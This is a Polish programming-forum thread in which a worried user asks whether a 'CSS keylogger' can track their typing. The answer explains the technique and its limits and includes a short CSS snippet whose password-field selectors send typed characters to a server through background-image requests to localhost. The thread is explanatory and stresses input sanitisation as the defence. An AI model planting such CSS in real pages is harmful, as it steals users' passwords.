• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Kyelogger w css

Object Storage Arubacloud
+3 głosów
166 wizyt
pytanie zadane 17 maja 2020 w HTML i CSS przez Majster6918 Gaduła (4,030 p.)
Hej słyszałem że jest możliwe napisanie w css keylogera ale kod wtedy ma koło 2 MB (dużo pisania heh)

Moje pytanie brzmi, czy można tak zrobić że ktoś wie co ja klikam gdy mam włączoną taką stronę w tle?

Może to głupie ale boje się... wiem jaką władzę mają programiści webowi

1 odpowiedź

+2 głosów
odpowiedź 17 maja 2020 przez Else Stary wyjadacz (12,260 p.)

Hej

Określenie "CSS Keylogger" jest chwytliwe, ale troche mylne. To prawda, że można wyciągać dane z formularzy za pomocą cssa i przesyłać je na serwer, ale musi zostać spełnione do tego kilka warunków:

  1. Osoba dokonująca ataku musi umieścić na stronie swój kod css
  2. Jeżeli chodzi o pozyskiwanie haseł, to potrzebny jest jeszcze dostęp do kodu JS strony, albo hasło musi być dodatkowo przetrzymywane np. w atrybucie value.
  3. Dane mogą być wyciągane z tylko ze strony na której taki "złośliwy css" jest umieszczony.

Mówiąc w skrócie, to taki cssowy XSS, czyli nic strasznego, jeżeli dbasz o odpowiednie oczyszczanie danych wejściowych na stronie. 

Co do wielkości takiego pliku css to jest z tym różnie w zależności od tego jakie dane ktoś chce pozyskać. Problem jest taki, że w kodzie css musi się znaleźć coś w stylu słownika z każdą możliwą wartością jaka ma zostać wysłana. Dlatego pole które może mieć 5-10 znaków wymaga innego pliku css, a innego pole z numerem karty gdzie liczba znaków jest określona (chyba bo nie używam) Np.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
input[type="password"][value$="b"] {
  background-image: url("http://localhost:3000/b");
}
input[type="password"][value$="c"] {
  background-image: url("http://localhost:3000/c");
}

/** aż do z **/

input[type="password"][value$="aa"] {
  background-image: url("http://localhost:3000/aa");
}
input[type="password"][value$="ab"] {
  background-image: url("http://localhost:3000/ab");
}
input[type="password"][value$="ac"] {
  background-image: url("http://localhost:3000/ac");
}

/** I tak do znudzenia **/

Kod działa tak, że ktoś trafia w wartość np. "ab" i pobierany jest wtedy jako background obrazek z serwera czyli http://localhost:3000/ab. Interesuje nas tylko sam request z wartością podaną w adresie. Takie żądania trzeba przechwytywać i zapisywać. Potem w bazie jest informacja, że spod takiego adresu ip. ktoś wpisał w pole password wartość "ab".

PS. Taki kod to wcale nie jest dużo pisania. Wystarczy podstatowa znajomość SCSSa albo LESSa, tablica ze znakami, dwie pętle i ewentualnie jakieś dodatkowe wymagania w zależności od typu pola jaki nas interesuje.

komentarz 18 maja 2020 przez Majster6918 Gaduła (4,030 p.)
MI chodzi bardziej o właściciela strony, ale wynika że tak

Podobne pytania

+2 głosów
3 odpowiedzi 521 wizyt
pytanie zadane 25 listopada 2022 w HTML i CSS przez MacieKap Bywalec (2,400 p.)
+1 głos
1 odpowiedź 256 wizyt
pytanie zadane 23 listopada 2022 w HTML i CSS przez MacieKap Bywalec (2,400 p.)
0 głosów
1 odpowiedź 309 wizyt
pytanie zadane 21 listopada 2022 w HTML i CSS przez MacieKap Bywalec (2,400 p.)

92,674 zapytań

141,578 odpowiedzi

320,046 komentarzy

62,038 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...